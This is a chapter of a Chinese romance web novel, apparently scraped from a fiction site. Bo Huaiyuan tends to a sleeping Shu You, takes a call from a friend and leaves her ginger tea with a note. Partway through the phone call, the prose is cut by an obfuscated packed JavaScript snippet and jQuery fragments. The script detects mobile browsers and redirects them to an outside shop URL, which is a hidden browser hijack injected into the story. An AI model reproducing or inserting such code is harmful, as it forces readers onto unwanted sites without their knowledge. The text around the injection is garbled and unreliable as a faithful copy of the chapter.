文趣网 > 其他小说 > 难以戒断 > 13. 第十三章
    柏淮远端着熬好的陈皮生姜汤从厨房出来,却在屋内没看到人,愣一瞬刚想出声喊人却见沙发上鼓起一个小包。

    他放轻脚步朝着沙发走去,人躺在沙发上,睫毛盖住眼睛,脸因身体温度白皙透着红,鼻子被毛毯盖住产生微弱起伏。

    柏淮远盯她睡颜沉默良久,最终转化为一声叹息,杯子放在茶几上,将毯子往下扯了点。

    天边挂着一抹残阳,屋内光线随着时间悄然离去。

    秋风萧瑟,随着树叶卷进屋内,沙发上人下意识蜷缩身子,柏淮远恋恋不舍收回目光上前将窗关上。

    路过阳台时,窗台上吱吱声吸引他的注意,寻声看去,却见笼子里关了一只仓鼠。

    那只三色仓鼠爪抓铁栅栏,脚踩盆子,豆般小眼警惕望着他,柏淮远也回望着它。

    就这样,一米间隔,一人一鼠互相打量起彼此。

    目视了许久,柏淮远才注意到了鼠子脚下食盆,轻步上前气音问它,“你是不是饿了。”

    在他说出这句话后,鼠子眼蓦然亮起,随即在原地转了几圈又跑到跑轮上跑了几圈,最终停在食盆旁边目光灼热盯着他,仿佛在说。

    “男人,你真懂鼠。”

    柏淮远打开笼子,准备拿出食盆时仓鼠主动钻进他手心蹭了蹭,他轻轻抚摸后将笼子又锁上。

    拿着小瓷碗来到厨房,他熟练拉开上层柜子,柜子里摆放了有许多储存罐,上面有着许多手写标签。

    标签字体被主人写的很可爱,甚至还有些小俏皮,每个标签后缀都被主人精心画了食物简笔。

    柏淮远仔细端详着瓶子唇角勾出笑,将鼠子食盆填满放进笼子,鼠子欢喜转着几圈埋头苦吃。

    他仔细检查了一遍屋内窗户,确认全部关闭后又折返回沙发旁,屈膝盘腿坐在一旁,视线重新落去。

    那双深邃怜惜眼眸安静注视着她,不舍移开半分。

    盯了片刻,男人似有些不满距离,又往前凑近了些,好香。

    沙发上人侧过身,胳膊落到沙发边缘手垂落着,淡香钻入鼻孔,呼吸慢半拍,睫毛轻颤垂下遮在眼前。

    他小心翼翼将自己手落在她手的下方,大手握小手,想握却又不敢握,只敢借影子与她的影子虚假接触。

    就这样,安静的,视线目眉描唇观赏着沙发熟睡的她。

    好近。

    好香。

    就连她的脉搏与微弱呼吸都清晰可听,高挺鼻梁,白皙脸蛋,脸上绒毛都清晰可见,视线缓缓下移,目光滑落在那殷红饱满唇瓣上,喉结滚动着,呼吸猝不及防的紊乱。

    “舒又。”

    他低低唤着,难以压制的爱意决堤迸发,俯身薄唇却只敢在她额头轻轻落下一吻。

    “舒又。”嘴瓣移开,他缓缓舒气,头抵她额头,尾音轻颤,“我好想你。”

    “我真的真的好想你。”

    “离开那几年里,我无时无刻都在想你。”

    他碎碎念诉不清得思念。

    “别走。”

    梦中人呢喃出声,不等他收回动作,手上多出一道温热紧接着一股拉力。

    那本与她虚握的手此刻紧紧握在一起,柏淮远瞳孔间满是震惊和欣喜,心中所想在眼前成了真。

    此刻两人之间距离不超过0.5米,鼻息间瞬间萦绕着淡淡的、沁人心脾的香味,眼底闪过慌乱,下意识想要抽出手逃离,手却被人扯过,紧接着柔软触感。

    他的手被对方压在脸下,他丝毫不敢动弹。

    “奶奶,别走,别留我一个人。”

    声音朦着委屈感,她低语喃喃着,睫毛挂上了泪珠。

    柏淮远突然安静下来,眼底流露出心痛,心痛最终转化成一声轻叹,伸另一只手帮她擦去本不该出现的泪珠。

    *

    嗡,嗡。

    不知不觉过了多长时间,口袋手机震动着将他拉回现实,收敛情绪缓缓将自己手抽出。

    刚站起身,身体不受控向人倒去,急忙用手肘抵住沙发,见沙发人仍在睡梦中,他缓缓松口气。

    站在原地等身上麻劲退去,他将空调温度调高,撕了个便签找笔写下几句话贴到桌上。

    一切弄完后,他才轻手轻脚出房间,临走前又回头贪恋多看了几眼。

    滴一声,指纹解锁成功声音从门里传来,口袋手机从震动变成响铃。

    柏淮远接通电话打开扩音放在一旁,打开酒柜熟练开了瓶酒。

    电话那头,“我十一月中旬回国。”

    他放下玻璃杯,玻璃杯底碰撞玻璃发出清脆响声,视线落在岛台桌上电子日历上。

    十月十七。

    柏淮远不满啧了声,距离十一月中旬还有一个月,他问对方:“这是舍得放你回来了?”

    “那可不,我就算偷回来他也不敢多说什么,谁让他媳妇在国内。”

    “行。”

    “话说,怎么那么久才接电话?刚才干嘛呢。”

    “工作,忙。”

    “行呗,大忙人。”

    “你给我打电话只为了说这一件事?”

    “不然呢?”

    柏淮远捏捏眉心,叫住对方,“绥和,帮我个忙。”

    “你说。”

    “找一家小公司联系舒氏,说手中有个项目。”

    “舒氏?”朋友顿住,有些不确定问他,“是海城那个舒氏吗?”

    柏淮远淡淡应声。

    “哟。”朋友说,“这么快就见到了,进展如何?”

    柏淮远抿了口酒没应声。

    朋友:“不说拉倒,等我回去亲自看一看,对了,你问舒氏干什么?”

    听筒那头说话声顿住,随后语气多了几分不可思议,“你该不会要为了美人一笑打算豪掷千金吧?”

    “不是。”柏淮远眼尾下垂,目光落酒年份上,“舒氏有个工程项目,你不是打算回国发展吗。”

    他话一出,朋友瞬间了解意思,应声,“懂了,谢柏少通天代,话说,你回国都住在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829789|185852||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    哪?”

    “家。”

    朋友:“你不是不喜欢住老宅吗,不自由。”

    “不是老宅。”

    “不住房子你桥下露天啊?桥下也行,大平层还带游泳池,没想到出国几年思想如此先进。”朋友笑乐着打趣,随后反应过来问他,“你那套老房子不是被我租出去了?你回去又买了一套啊?”

    “没买,租的。”柏淮远捏着鼻梁扯了扯嘴角,无力长叹一声。“挂了。”

    “行吧,我回国记得来接我。”

    “嗯,事情记得去办。”

    “是,柏大少吩咐的事我哪敢不听。”

    听着朋友阴阳怪气,柏淮远勾唇笑着没说什么,留了句回来请你吃饭两人挂了电话。

    *

    晚七点,躺在沙发上的人渐渐坐起身,压在身上的毯子掉到腿上。

    “柏淮远。”

    舒又半梦半醒间哑着嗓子喊人,喊了好几声,迟迟不见有人回应,睁开眼,可视之处一片漆黑。

    迷糊间,她闭眼歪头靠在沙发上,手胡乱向茶几摸去,摸到一块硬物。

    屏幕亮起,手电筒被打开照亮房间,环视一圈,舒又发现整个客厅除了她便再也没有其他人,隐隐一股失落感。

    半晌,她起身将屋内灯打开,伸了个懒腰余光瞥见茶几上似乎有东西,上前发现竟是对方留的纸条,她蹲着杯子靠在水台边,细细看着纸条上内容。

    “舒小姐,公司临时有事先离开了,我熬了一些陈皮生姜茶,在厨房,稍微热一下便可以喝。对了,我知道你不喜欢喝姜茶,所以里面放糖了,味道不冲鼻子,放心喝。”

    柏淮远留。

    舒又看到纸条落款失落情绪瞬间烟消云散,她放下杯子朝厨房走去,自言自语疑惑着对方怎么知道她不喜欢姜味。

    拉开厨房门朝里看去,灶台上确实放着一个闷粥的罐子。

    她上前掀开闻了闻,姜味确实很淡,但她仍不想喝。

    站在灶台前犹豫着,最终转身来到自己收藏的杯子玻璃柜前,刚想要找个合适杯子装陈皮生姜茶,目光捕捉到角落,那里突兀多出一个瓷杯。

    舒又拿出手在上面敲了敲,声音又脆又响,显然是高级货,与她在购物软件买的不一样。

    拿着瓷杯左右好奇翻看着,心中顿感疑惑,这是谁送她的吗?

    柏延?都雪松?不应该啊,舒又小声嘀咕着,始终想不起来谁送的。

    想不起来索性便不打算再想下去,心下便想着就用你了,她拿起杯子给自己倒了小半杯陈皮生姜茶。

    姜茶?

    姜茶两字在嘴边反复咀嚼,这个名字她似乎在哪里听过,想着脑海中忽然间闪过一些片段。

    啊!她想起来了,这杯子里面之前装的便是姜茶,是对门邻居送来的,这杯子是柏淮远的。

    舒又抿了几口,挑眉感到意外,脸上露着连她自己都未察觉到的笑意。

    这个味道确实比第一次的要甜一些,她喜欢。